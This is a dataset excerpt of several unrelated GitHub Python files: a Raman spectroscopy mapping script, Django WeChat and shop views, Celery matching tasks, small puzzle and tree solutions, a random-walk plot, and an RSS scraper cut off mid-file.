°/µm\n # sx/nx is the step size of the scan in pixel\n grad_theta_ma = grad_theta_ma/(sx/nx)\n\n # Mask all gradient values that are above the threshold set by the user\n updated_mask = np.logical_or(grad_theta_ma.mask, grad_theta_ma.data > max_gradient)\n grad_theta_ma = np.ma.masked_array(grad_theta_ma.data, updated_mask)\n \n # Map the twist angle gradient\n # Check if colorbar ranges were specified, if so: Apply them. \n if crange_grad_theta != ():\n im = plt.imshow(grad_theta_ma, extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=crange_grad_theta[0], vmax=crange_grad_theta[1])\n else:\n im = plt.imshow(grad_theta_ma, extent = [0, sx, 0, sy], cmap=\"gist_rainbow\") \n plt.xlabel(\"µm\")\n plt.ylabel(\"µm\")\n plt.suptitle(\"Twist angle gradient\")\n plt.colorbar(im, label=r\"|$\\nabla\\vartheta_{TA}$| (°/µm)\")\n plt.savefig(folder + \"/\" + \"twist_angle_gradient.pdf\", format=\"pdf\", dpi=300)\n plt.close()\n\n return()\n\n\n###############################################################################\n# 3.4 Experimental: interactive stuff \n###############################################################################\n\n# This function is activated when double clicking in tne interactive map and \n# plots the spectrum + fit in the point that was clicked\ndef onclick(event, fitresults, fiterrors, pdict):\n if event.dblclick:\n if event.button == 1:\n if isinstance(event.ydata, float): # Check if the doubleclick event happened inside the plot and returns correct values\n # Exact location of click in axis units\n valx, valy = event.xdata, event.ydata\n \n # Find index coordinates of click position. The +1 at y_map en-\n # sures that the shown spectrum really belongs to the clicked\n # pixel, otherwise there is a mismatch of exactly one pixel.\n x_map = np.abs(xaxis - valx).argmin()\n y_map = np.abs(yaxis - valy).argmin() + 1\n \n # Extract required variables from the pdict\n plotrange = pdict[\"plotrange\"]\n fitrange = pdict[\"fitrange\"]\n (thresh_c, thresh_x0, thresh_lw) = pdict[\"params_thresh\"] \n \n # Find start and stop indices of plotrange and fitrange in spectrum\n i_plotstart = np.abs(xdata - plotrange[0]).argmin()\n i_plotstop = np.abs(xdata - plotrange[1]).argmin()\n i_fitstart = np.abs(xdata - fitrange[0]).argmin()\n i_fitstop = np.abs(xdata - fitrange[1]).argmin()\n\n # Create x and y array in the plotrange\n xdata_plot = xdata[i_plotstart:i_plotstop]\n ydata_plot = data[-y_map, x_map, i_plotstart:i_plotstop]\n # Create x array in the fitrange\n xdata_fit = xdata[i_fitstart:i_fitstop]\n\n # Clear the previous spectrum + fit from the plot\n ax3.cla()\n \n # Scatter the spectrum\n ax3.scatter(xdata_plot, ydata_plot, s=5, zorder=1)\n \n # Plot the fit if it succeeded in that point\n if fiterrors[-y_map, x_map] == 0:\n ax3.plot(xdata_fit, lorentzian(xdata_fit, *fitresults[-y_map, x_map]), color=\"tab:orange\")\n ax3.set_xlim(plotrange)\n \n # Assemble text string with best fit parameters\n text_I = r\"I = %.0f \" %(fitresults[-y_map, x_map][1])\n text_x0 = \"\\n\" + \"$\\omega$ = %.2f rel. 1/cm\" %(fitresults[-y_map, x_map][2])\n text_lw = \"\\n\" + \"$\\Gamma$ = %.2f 1/cm\" %(fitresults[-y_map, x_map][3])\n \n # Define conditions to check if the fitresults violate threshold boundaries\n cond_c = (thresh_c[0] > fitresults[-y_map, x_map, 1]) or (fitresults[-y_map, x_map, 1] > thresh_c[1])\n cond_x0 = (thresh_x0[0] > fitresults[-y_map, x_map, 2]) or (fitresults[-y_map, x_map, 2] > thresh_x0[1])\n cond_lw = (thresh_lw[0] > fitresults[-y_map, x_map, 3]) or (fitresults[-y_map, x_map, 3] > thresh_lw[1])\n\n # Add information about threshold violations to the string\n if cond_c:\n ax3.text(0.01, 0.95, text_I, ha='left', va='top', transform=ax3.transAxes, color=\"tab:red\")\n else:\n ax3.text(0.01, 0.95, text_I, ha='left', va='top', transform=ax3.transAxes)\n \n if cond_x0:\n ax3.text(0.01, 0.94, text_x0, ha='left', va='top', transform=ax3.transAxes, color=\"tab:red\")\n else:\n ax3.text(0.01, 0.94, text_x0, ha='left', va='top', transform=ax3.transAxes)\n \n if cond_lw:\n ax3.text(0.01, 0.85, text_lw, ha='left', va='top', transform=ax3.transAxes, color=\"tab:red\")\n else:\n ax3.text(0.01, 0.85, text_lw, ha='left', va='top', transform=ax3.transAxes)\n \n # Plot the text\n #ax3.text(0.01, 0.95, textstr, ha='left', va='top', transform=ax3.transAxes)\n\n # Update the plot in the window\n ax3.set_xlabel(\"Raman shift (rel. 1/cm)\")\n ax3.set_ylabel(\"CCD counts\")\n ax3.figure.canvas.draw()\n \n else:\n print('Please double click inside a map!')\n return None\n\n\ndef make_figure(fitresults, fiterrors, pdict):\n \n # Retrieve required variables from the dictionnary\n nx, ny = pdict[\"size_px\"] # Scan size in pixels\n sx, sy = pdict[\"size_um\"] # Scan size in microns\n peakname = pdict[\"peakname\"] # Name of the peak\n (thresh_c, thresh_x0, thresh_lw) = pdict[\"params_thresh\"] # Threshold values\n crange_int = pdict[\"crange_int\"] # Colorbar range of intensity\n crange_pos = pdict[\"crange_pos\"] # Colorbar range of position\n crange_lw = pdict[\"crange_lw\"] # Colorbar range of linewidth\n \n # Conditions to check if the best fit parameters fall into their threshold interval\n conditions = [\n (thresh_c[0] > fitresults[:, :, 1]),\n (fitresults[:, :, 1] > thresh_c[1]),\n (thresh_x0[0] > fitresults[:, :, 2]),\n (fitresults[:, :, 2] > thresh_x0[1]),\n (thresh_lw[0] > fitresults[:, :, 3]),\n (fitresults[:, :, 3] > thresh_lw[1]),\n (fiterrors != 0)\n ]\n \n # Create the mask in 2D\n mask = np.logical_or.reduce(conditions)\n \n # Apply the mask to fitresults\n fitresults_ma = np.ma.masked_array(fitresults, mask=np.broadcast_to(mask[:, :, np.newaxis], fitresults.shape))\n \n # Build the figure with grid and subplots\n fig = plt.figure(figsize = (15, 10))\n grid = mpl.gridspec.GridSpec(6, 6, figure = fig, hspace=0.6, wspace=0.8)\n ax0 = fig.add_subplot(grid[:3, 0:2])\n ax1 = fig.add_subplot(grid[:3, 2:4])\n ax2 = fig.add_subplot(grid[:3, 4:6])\n ax3 = fig.add_subplot(grid[3:6, :])\n \n # Plot the maps\n # Check if colorbar ranges were specified, if so: Apply them.\n if crange_int != ():\n im0 = ax0.imshow(fitresults_ma[:,:,1], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=crange_int[0], vmax=crange_int[1]) # Intensity\n else:\n im0 = ax0.imshow(fitresults_ma[:,:,1], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\") # Intensity\n \n if crange_pos != ():\n im1 = ax1.imshow(fitresults_ma[:,:,2], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=crange_pos[0], vmax=crange_pos[1]) # Position\n else:\n im1 = ax1.imshow(fitresults_ma[:,:,2], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\") # Position\n \n if crange_lw != ():\n im2 = ax2.imshow(fitresults_ma[:,:,3], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=crange_lw[0], vmax=crange_lw[1]) # Linewidth\n else:\n im2 = ax2.imshow(fitresults_ma[:,:,3], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\") # Linewidth\n \n # Label axes\n ax0.set_xlabel(\"µm\")\n ax0.set_ylabel(\"µm\")\n ax1.set_xlabel(\"µm\")\n ax1.set_ylabel(\"µm\")\n ax2.set_xlabel(\"µm\")\n ax2.set_ylabel(\"µm\")\n ax3.set_xlabel(\"Raman shift (rel. 1/cm)\")\n ax3.set_ylabel(\"CCD counts\")\n \n # Add colorbars\n plt.colorbar(im0, ax=ax0, label=\"Intensity (arb. u.)\") \n plt.colorbar(im1, ax=ax1, label=\"Position (rel. 1/cm)\") \n plt.colorbar(im2, ax=ax2, label=\"Linewidth (1/cm)\") \n \n # Set titles\n ax0.set_title(peakname + \" intensity\")\n ax1.set_title(peakname + \" position\")\n ax2.set_title(peakname + \" linewidth\")\n \n fig.canvas.mpl_connect('button_press_event', lambda event: onclick(event, fitresults, fiterrors, pdict))\n \n return(ax0, ax1, ax2, ax3)\n\n\n###############################################################################\n\"\"\" 4. Don't touch section B (executing the code) \"\"\"\n###############################################################################\n\n###############################################################################\n# 4.1 Import Raman raw data and perform the fits\n###############################################################################\n\n# Check if any fitting will be done, import Raman data only if that is the case\nif any([b_fit_TA, b_fit_G, b_fit_LO, b_fit_2D]): \n xdata, data = read_raman_scan(folder, file, size_px, spectral_mean_range)\n\n# Create lists that are needed to locate the index coordinates of a click event\nxaxis = np.linspace(0, size_um[0], size_px[0])\nyaxis = np.linspace(0, size_um[1], size_px[1])\n\n# TA: Perform fits and save the results #######################################\nif b_fit_TA == True:\n # Insert a place holder value for the position starting value, which is \n # determined dynamically in the fitting routine\n pdict_TA = {}\n pdict_TA[\"startparams\"] = [startparams_TA[0], startparams_TA[1], 0, startparams_TA[2]]\n pdict_TA[\"size_px\"] = size_px\n pdict_TA[\"size_um\"] = size_um\n pdict_TA[\"peakname\"] = \"TA\"\n pdict_TA[\"fitrange\"] = (240, 290) # Data range for fitting\n pdict_TA[\"plotrange\"] = (220, 310) # Data range for plotting\n pdict_TA[\"params_thresh\"] = (thresh_TA_c, thresh_TA_x0, thresh_TA_lw)\n pdict_TA[\"crange_int\"] = crange_TA_int\n pdict_TA[\"crange_pos\"] = crange_TA_pos\n pdict_TA[\"crange_lw\"] = crange_TA_lw\n pdict_TA[\"crange_theta\"] = crange_theta\n pdict_TA[\"crange_grad_theta\"] = crange_grad_theta\n pdict_TA[\"max_gradient\"] = max_gradient\n # Perform the fits\n fitresults_TA, fitresults_std_TA, fiterrors_TA = fit_to_map(xdata, data, pdict_TA)\n # Save the results\n with open(folder+\"/TA\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_TA, fitresults_TA, fitresults_std_TA, fiterrors_TA], file)\n\n\n\n# G: Perform fits and save the results #######################################\nif b_fit_G == True:\n # Insert a place holder value for the position starting value, which is \n # determined dynamically in the fitting routine\n pdict_G = {}\n pdict_G[\"startparams\"] = [startparams_G[0], startparams_G[1], 0, startparams_G[2]]\n pdict_G[\"size_px\"] = size_px\n pdict_G[\"size_um\"] = size_um\n pdict_G[\"peakname\"] = \"G\"\n pdict_G[\"fitrange\"] = (1500, 1610) # Data range for fitting\n pdict_G[\"plotrange\"] = (1500, 1800) # Data range for plotting\n pdict_G[\"params_thresh\"] = (thresh_G_c, thresh_G_x0, thresh_G_lw)\n pdict_G[\"crange_int\"] = crange_G_int\n pdict_G[\"crange_pos\"] = crange_G_pos\n pdict_G[\"crange_lw\"] = crange_G_lw\n # Perform the fits\n fitresults_G, fitresults_std_G, fiterrors_G = fit_to_map(xdata, data, pdict_G)\n # Save the results\n with open(folder+\"/G\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_G, fitresults_G, fitresults_std_G, fiterrors_G], file)\n\n\n# LO: Perform fits and save the results #######################################\nif b_fit_LO == True:\n # Insert a place holder value for the position starting value, which is \n # determined dynamically in the fitting routine\n pdict_LO = {}\n pdict_LO[\"startparams\"] = [startparams_LO[0], startparams_LO[1], 0, startparams_LO[2]]\n pdict_LO[\"size_px\"] = size_px\n pdict_LO[\"size_um\"] = size_um\n pdict_LO[\"peakname\"] = \"LO\"\n pdict_LO[\"fitrange\"] = (1610, 1800) # Data range for fitting\n pdict_LO[\"plotrange\"] = (1500, 1800) # Data range for plotting\n pdict_LO[\"params_thresh\"] = (thresh_LO_c, thresh_LO_x0, thresh_LO_lw)\n pdict_LO[\"crange_int\"] = crange_LO_int\n pdict_LO[\"crange_pos\"] = crange_LO_pos\n pdict_LO[\"crange_lw\"] = crange_LO_lw\n # Perform the fits\n fitresults_LO, fitresults_std_LO, fiterrors_LO = fit_to_map(xdata, data, pdict_LO)\n # Save the results\n with open(folder+\"/LO\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_LO, fitresults_LO, fitresults_std_LO, fiterrors_LO], file)\n\n\n# 2D: Perform fits and save the results #######################################\nif b_fit_2D == True:\n # Insert a place holder value for the position starting value, which is \n # determined dynamically in the fitting routine\n pdict_2D = {}\n pdict_2D[\"startparams\"] = [startparams_2D[0], startparams_2D[1], 0, startparams_2D[2]]\n pdict_2D[\"size_px\"] = size_px\n pdict_2D[\"size_um\"] = size_um\n pdict_2D[\"peakname\"] = \"2D\"\n pdict_2D[\"fitrange\"] = (2500, 2850) # Data range for fitting\n pdict_2D[\"plotrange\"] = (2400, 2900) # Data range for plotting\n pdict_2D[\"params_thresh\"] = (thresh_2D_c, thresh_2D_x0, thresh_2D_lw)\n pdict_2D[\"crange_int\"] = crange_2D_int\n pdict_2D[\"crange_pos\"] = crange_2D_pos\n pdict_2D[\"crange_lw\"] = crange_2D_lw\n # Perform the fits\n fitresults_2D, fitresults_std_2D, fiterrors_2D = fit_to_map(xdata, data, pdict_2D)\n # Save the results\n with open(folder+\"/2D\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_2D, fitresults_2D, fitresults_std_2D, fiterrors_2D], file)\n\n \n###############################################################################\n# 4.2 Load results of a previous fit along with xdata and the peak dictionnary\n###############################################################################\n \nif b_load_TA == True:\n \n with open(folder+\"/TA\", \"rb\") as file:\n xdata, data, pdict_TA, fitresults_TA, fitresults_std_TA, fiterrors_TA = pickle.load(file)\n \n # Update colorbar ranges in the pdict\n pdict_TA[\"crange_int\"] = crange_TA_int\n pdict_TA[\"crange_pos\"] = crange_TA_pos\n pdict_TA[\"crange_lw\"] = crange_TA_lw\n pdict_TA[\"crange_theta\"] = crange_theta\n pdict_TA[\"crange_grad_theta\"] = crange_grad_theta\n pdict_TA[\"max_gradient\"] = max_gradient\n \n # Save updated pdict to pickle file\n with open(folder+\"/TA\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_TA, fitresults_TA, fitresults_std_TA, fiterrors_TA], file)\n\n \n \nif b_load_G == True:\n \n with open(folder+\"/G\", \"rb\") as file:\n xdata, data, pdict_G, fitresults_G, fitresults_std_G, fiterrors_G = pickle.load(file)\n\n # Update colorbar ranges in the pdict\n pdict_G[\"crange_int\"] = crange_G_int\n pdict_G[\"crange_pos\"] = crange_G_pos\n pdict_G[\"crange_lw\"] = crange_G_lw\n \n # Save updated pdict to pickle file\n with open(folder+\"/G\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_G, fitresults_G, fitresults_std_G, fiterrors_G], file)\n\n \n \nif b_load_LO == True:\n\n with open(folder+\"/LO\", \"rb\") as file:\n xdata, data, pdict_LO, fitresults_LO, fitresults_std_LO, fiterrors_LO = pickle.load(file)\n\n # Update colorbar ranges in the pdict\n pdict_LO[\"crange_int\"] = crange_LO_int\n pdict_LO[\"crange_pos\"] = crange_LO_pos\n pdict_LO[\"crange_lw\"] = crange_LO_lw\n \n # Save updated pdict to pickle file\n with open(folder+\"/LO\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_LO, fitresults_LO, fitresults_std_LO, fiterrors_LO], file)\n\n\n\nif b_load_2D == True:\n\n with open(folder+\"/2D\", \"rb\") as file:\n xdata, data, pdict_2D, fitresults_2D, fitresults_std_2D, fiterrors_2D = pickle.load(file)\n \n # Update colorbar ranges in the pdict\n pdict_2D[\"crange_int\"] = crange_2D_int\n pdict_2D[\"crange_pos\"] = crange_2D_pos\n pdict_2D[\"crange_lw\"] = crange_2D_lw \n \n # Save updated pdict to pickle file\n with open(folder+\"/2D\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_2D, fitresults_2D, fitresults_std_2D, fiterrors_2D], file)\n\n\n\n###############################################################################\n# 4.3 Open the interactive figures, save the maps\n###############################################################################\nif b_map_TA == True:\n map_lorentz_parameters(fitresults_TA, fiterrors_TA, pdict_TA, folder)\n map_theta(fitresults_TA, fiterrors_TA, pdict_TA, folder) \n ax0, ax1, ax2, ax3 = make_figure(fitresults_TA, fiterrors_TA, pdict_TA)\n \nif b_map_G == True:\n map_lorentz_parameters(fitresults_G, fiterrors_G, pdict_G, folder)\n ax0, ax1, ax2, ax3 = make_figure(fitresults_G, fiterrors_G, pdict_G)\nif b_map_LO == True:\n map_lorentz_parameters(fitresults_LO, fiterrors_LO, pdict_LO, folder)\n ax0, ax1, ax2, ax3 = make_figure(fitresults_LO, fiterrors_LO, pdict_LO)\nif b_map_2D == True:\n map_lorentz_parameters(fitresults_2D, fiterrors_2D, pdict_2D, folder)\n ax0, ax1, ax2, ax3 = make_figure(fitresults_2D, fiterrors_2D, pdict_2D)\n \n \n\n\n \n ","repo_name":"AaronSchaepers/twist_angle_analysis","sub_path":"twist_angle_analysis.py","file_name":"twist_angle_analysis.py","file_ext":"py","file_size_in_byte":40393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35183506830","text":"#coding:utf-8\nimport hashlib\nimport json\nfrom django.utils.encoding import smart_str\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse\n\ndef hello(request):\n return HttpResponse(\"Hello, world! - Django\")\n\nTOKEN = \"weixin\"\n@csrf_exempt \ndef index(request): \n if request.method == 'GET': \n response = HttpResponse(checkSignature(request),content_type=\"text/plain\") \n return response \n elif request.method == 'POST': \n response = HttpResponse(\"POST METHOD\") \n return response \n else: \n return None \n \ndef checkSignature(request): \n global TOKEN \n signature = request.GET.get(\"signature\", None) \n timestamp = request.GET.get(\"timestamp\", None) \n nonce = request.GET.get(\"nonce\", None) \n echoStr = request.GET.get(\"echostr\",None) \n \n token = TOKEN \n tmpList = [token,timestamp,nonce] \n tmpList.sort() \n tmpstr = \"%s%s%s\" % tuple(tmpList) \n tmpstr = hashlib.sha1(tmpstr).hexdigest() \n if tmpstr == signature: \n return echoStr \n else: \n return None\n","repo_name":"skyeyang/python_codes","sub_path":"skyewechat/wechat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71294251074","text":"from celery import shared_task\n\nfrom thu_lost_and_found_backend.lost_notice_service.models import LostNotice\nfrom thu_lost_and_found_backend.found_notice_service.models import FoundNotice, FoundNoticeStatus\nfrom thu_lost_and_found_backend.matching_service.models import MatchingEntry\nfrom thu_lost_and_found_backend.matching_service.match import matching\n\n@shared_task\ndef create_matching_task(lost_notice_id):\n lost_notice = LostNotice.objects.get(pk=lost_notice_id)\n found_notices = FoundNotice.objects.filter(status=FoundNoticeStatus.PUBLIC, property__template=lost_notice.property.template)\n for found_notice in found_notices:\n matching_degree = matching(lost_notice, found_notice)\n matching_entry = MatchingEntry.objects.create(lost_notice=lost_notice, found_notice=found_notice, matching_degree=matching_degree)\n matching_entry.save()\n\n\n@shared_task\ndef update_matching_task(lost_notice_id):\n lost_notice = LostNotice.objects.get(pk=lost_notice_id)\n for matching_entry in MatchingEntry.objects.filter(lost_notice=lost_notice):\n matching_degree = matching(lost_notice, matching_entry.found_notice)\n matching_entry.matching_degree = matching_degree\n matching_entry.save()\n","repo_name":"liqi0126/thu-lost-and-found-backend","sub_path":"thu_lost_and_found_backend/lost_notice_service/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18484971495","text":"import os\nimport sys\n\npuzzle_input_path = os.path.join(os.path.dirname(__file__), \"input_1.txt\")\n\nwith open(puzzle_input_path) as puzzle_input_file:\n puzzle_input_raw = puzzle_input_file.read()\n\n\ndirections = {0: \"E\", 90: \"S\", 180: \"W\", 270: \"N\"}\ninstructions = {\n \"N\": lambda x, y, d, arg: (x, y + arg, d),\n \"S\": lambda x, y, d, arg: (x, y - arg, d),\n \"E\": lambda x, y, d, arg: (x + arg, y, d),\n \"W\": lambda x, y, d, arg: (x - arg, y, d),\n \"L\": lambda x, y, d, arg: (x, y, (d - arg) % 360),\n \"R\": lambda x, y, d, arg: (x, y, (d + arg) % 360),\n}\ninstructions[\"F\"] = lambda x, y, d, arg: instructions[directions[d]](x, y, d, arg)\n\nx, y, d = 0, 0, 0\nfor instr, arg in ((x[:1], int(x[1:])) for x in puzzle_input_raw.splitlines()):\n x, y, d = instructions[instr](x, y, d, arg)\n\ndistance = abs(x) + abs(y)\nprint(distance)","repo_name":"timofurrer/aoc","sub_path":"2020/12/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34640656887","text":"from django.shortcuts import render\r\nfrom django.http import JsonResponse\r\nimport json\r\nimport datetime\r\nfrom .models import *\r\n\r\n# Create your views here.\r\n\r\ndef main(request):\r\n #Needed for data to be passed through \r\n context = {}\r\n return render(request, 'app/main.html', context)\r\n\r\ndef index(request):\r\n context = {}\r\n return render(request, 'app/index.html', context)\r\n\r\ndef account(request):\r\n context = {}\r\n return render(request, 'app/account.html', context)\r\n \r\ndef cancel(request):\r\n context = {}\r\n return render(request, 'app/cancel.html', context)\r\n\r\ndef cart(request):\r\n\r\n #Needed to ensure the proper traits are being passed thourgh for order creation\r\n if request.user.is_authenticated:\r\n customer = request.user.customer\r\n order, created = Order.objects.get_or_create(customer = customer, complete = False)\r\n items = order.orderitems_set.all()\r\n else: \r\n items = []\r\n order = {'order_total':0, 'cart_items':0}\r\n\r\n context = {'items':items, 'order':order}\r\n return render(request, 'app/cart.html', context)\r\n\r\ndef contact(request):\r\n context = {}\r\n return render(request, 'app/contact.html', context)\r\n\r\ndef product(request):\r\n context = {}\r\n return render(request, 'app/product.html', context)\r\n\r\ndef store(request):\r\n products = Products.objects.all()\r\n context = {'products':products}\r\n return render(request, 'app/store.html', context)\r\n\r\ndef success(request):\r\n context = {}\r\n return render(request, 'app/success.html', context)\r\n\r\ndef workout(request):\r\n context = {}\r\n return render(request, 'app/workout.html', context)\r\n\r\ndef checkout(request):\r\n if request.user.is_authenticated:\r\n customer = request.user.customer\r\n order, created = Order.objects.get_or_create(customer = customer, complete = False)\r\n items = order.orderitems_set.all()\r\n else: \r\n items = []\r\n order = {'order_total':0, 'cart_items':0}\r\n\r\n context = {'items' : items, 'order' : order}\r\n return render(request, 'app/checkout.html', context)\r\n \r\ndef updateItem(request):\r\n data = json.loads(request.body)\r\n productId = data['productId']\r\n action = data['action']\r\n print('productId:', productId)\r\n print('action:', action)\r\n customer = request.user.customer\r\n product = Products.objects.get(id = productId)\r\n\r\n #Logic for order creation \r\n order, created = Order.objects.get_or_create(customer = customer, complete = False)\r\n\r\n #Updates order item quantity \r\n orderItem, created = OrderItems.objects.get_or_create(order = order, product = product)\r\n if action == 'add': \r\n orderItem.quantity = (orderItem.quantity + 1)\r\n elif action == 'remove':\r\n orderItem.quantity = (orderItem.quantity - 1)\r\n\r\n orderItem.save()\r\n\r\n #Deletes an order\r\n if orderItem.quantity <= 0:\r\n orderItem.delete()\r\n\r\n return JsonResponse('Item Updated', safe = False)\r\n\r\ndef processOrder(request):\r\n transaction_id = datetime.datetime.now().timestamp()\r\n data = json.loads(request.body)\r\n if request.user.is_authenticated:\r\n customer = request.user.customer\r\n order, created = Order.objects.get_or_create(customer=customer, complete=False)\r\n total = float(data ['form'] ['total'])\r\n order.transaction_id = transaction_id\r\n\r\n if total == order.order_total:\r\n order.complete = True\r\n order.save()\r\n\r\n if order.shipping == True:\r\n ShippingAddress.objects.create(\r\n customer=customer,\r\n order=order,\r\n address=data['shipping']['address'],\r\n city=data['shipping']['city'],\r\n state=data['shipping']['state'],\r\n zipcode=data['shipping']['zipcode'],\r\n )\r\n\r\n return JsonResponse('Order Confirmed', safe = False)","repo_name":"JesseLindahl/Jesse-Lindahl-SWDV-691-Capstone-Project","sub_path":"capstone/app/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23407512788","text":"# Print all root to leaf paths\n\nfrom TreeNode import Node\n\n# Store all paths in a list\npaths = []\n\ndef print_path(root, path):\n\tif root == None:\n\t\treturn\n\n\tif root.left == None and root.right == None:\n\t\tprint(path + \" \" + str(root.val))\n\t\tpaths.append(path + \" \" + str(root.val))\n\t\treturn\n\t\n\telse:\n\t\tprint_path(root.left, path + \" \" + str(root.val))\n\t\tprint_path(root.right, path + \" \" + str(root.val))\n\n\nroot = Node(1)\nroot.left = Node(-10)\nroot.right = Node(11)\nroot.left.right = Node(5)\nroot.left.right.right = Node(3)\nroot.right.left = Node(13)\nroot.right.right = Node(16)\n\nprint(\"Root to leaf paths: \")\nprint_path(root, \"\")","repo_name":"sheelabhadra/Elements-Programming-Interviews","sub_path":"Trees/print_paths.py","file_name":"print_paths.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23779063525","text":"import numpy as np\nimport random as rm\nimport matplotlib.pyplot as plt\n\nMAX = 100000\n\ndef creaxey():\n ale1 = rm.randint(0,1)\n if ale1 == 1:\n return 1\n else:\n return -1\n\ndef creacaminate():\n X = 0\n Y = 0\n x_pos = np.zeros(MAX)\n y_pos = np.zeros(MAX)\n for i in range(0, MAX):\n X += creaxey()\n x_pos[i] = X\n Y += creaxey()\n y_pos[i] = Y\n return x_pos, y_pos\n\ndef pasos():\n ini = 0\n lpasos = np.zeros(MAX)\n for j in range(0, MAX):\n \tini += 1\n \tlpasos[j] = ini\n return lpasos\n\ndef main():\n lsteps = pasos()\n xarray, yarray = creacaminate()\n prox = 0\n lprox = np.zeros(MAX)\n for i in range(len(xarray)):\n prox += np.sqrt(xarray[i]*xarray[i] + yarray[i]*yarray[i])\n lprox[i] = prox\n\n #plt.plot(xarray, yarray)\n\n plt.loglog(lsteps,lprox)\n plt.show()\n\nmain()","repo_name":"edmar2407/MonteCarloIsing","sub_path":"dosd.py","file_name":"dosd.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23488169741","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n# -*- coding: utf-8 -*-\n\nmyfile = open(\"A-large.in.txt\", \"r\")\ncontent=myfile.read().splitlines()\nmyfile.close()\n\nnum_cases = content[0]\nnumbers = content[1:]\nl = 0\n\ndef check(c,t):\n\tt = list(map(int, str(t)))\n\n\tfor i in t:\n\t\tif i not in lnum:\n\t\t\tlnum.append(int(i))\n\t\t\tc += 1\n\n\treturn c\n\n\noutfile = open('texto.txt', 'w')\nfor k in numbers:\n\tN=k\n\n\tl += 1\n\tif N == \"0\":\n\t\toutfile.write(\"Case #\" + str(l) + \": INSOMNIA\"+ \"\\n\")\n\n\telse:\n\t\tcounter = 0\n\t\ti = 1\n\t\tlnum = []\n\t\t#n = 1\n\t\twhile counter != 10:\n\t\t\tt= int(N) * i\n\t\t\tcounter = check(counter,t)\n\t\t\ti += 1\n\n\t\toutfile.write(\"Case #\" + str(l) + \": \" + str(t)+ \"\\n\")\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_177/5111.py","file_name":"5111.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23581093101","text":"from __future__ import division\r\n\r\n# def parse_input(str_test):\r\n# t = str_test.split()\r\n# return map(int, t)\r\n\r\n\r\ndef solve(D, N, K, S):\r\n max_t = 0\r\n for Ki,Si in zip(K,S):\r\n t_i = (D-Ki)/Si\r\n max_t = max(max_t, t_i)\r\n\r\n V = D/max_t\r\n return \"{0:.6f}\".format(V)\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_206/599.py","file_name":"599.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7088920865","text":"\nimport PyRSS2Gen\nimport datetime\nimport argparse\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport feedparser\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-n', '--name', required=True, help='name of the whole feed')\nparser.add_argument('-f', '--file', required=True)\nparser.add_argument('-u', '--url', required=True)\nparser.add_argument('-b', '--base', help='narrow the lookup to the contents of this item')\nparser.add_argument('-c', '--criteria', required=True, help='criteria of picking the base items')\nparser.add_argument('-d', '--description', help='description scheme of individual items')\nparser.add_argument('-l', '--link', required=True, help='link scheme of individual items. Base item name is \\'item\\'')\nparser.add_argument('-t', '--title', help='title scheme of individual items')\nparser.add_argument('-q', '--limit', help='number of items to take. >0 = take items from beginning, otherwise from end', default=-50)\nparser.add_argument('-x', '--cookies', help='cookies to include with the request', default='{}')\nparser.add_argument('-o', '--overwrite', help='don\\'t fetch existing feed', action=\"store_true\")\nparser.add_argument('-a', '--auth', help='dictionary containing authorization information')\nparser.add_argument('-z', '--debug', action=\"store_true\")\nargs = parser.parse_args()\n\nif args.overwrite:\n items = []\n oldlinks = []\nelse:\n feed = feedparser.parse(args.file)\n items = [\n PyRSS2Gen.RSSItem(\n title=x.title,\n link=x.link,\n description=x.summary,\n )\n for x in feed.entries\n ]\n oldlinks = [x.link for x in items]\n\n\n\nsoup = BeautifulSoup(requests.get(args.url, cookies=eval(args.cookies)).text)\nif args.base:\n soup = soup.find(**eval(args.base))\nargs.limit = int(args.limit)\nif args.limit > 0:\n newitems = soup(**eval(args.criteria))[:args.limit]\nelif args.limit < 0:\n newitems = soup(**eval(args.criteria))[args.limit:]\nelse:\n newitems = soup(**eval(args.criteria))\nif args.debug:\n print(newitems)\n exit()\nfor item in newitems:\n link = str(eval(args.link))\n # print(link)\n if link not in oldlinks:\n try:\n description = str(eval(args.description)) if args.description else ''\n except:\n description = ''\n items.append(\n 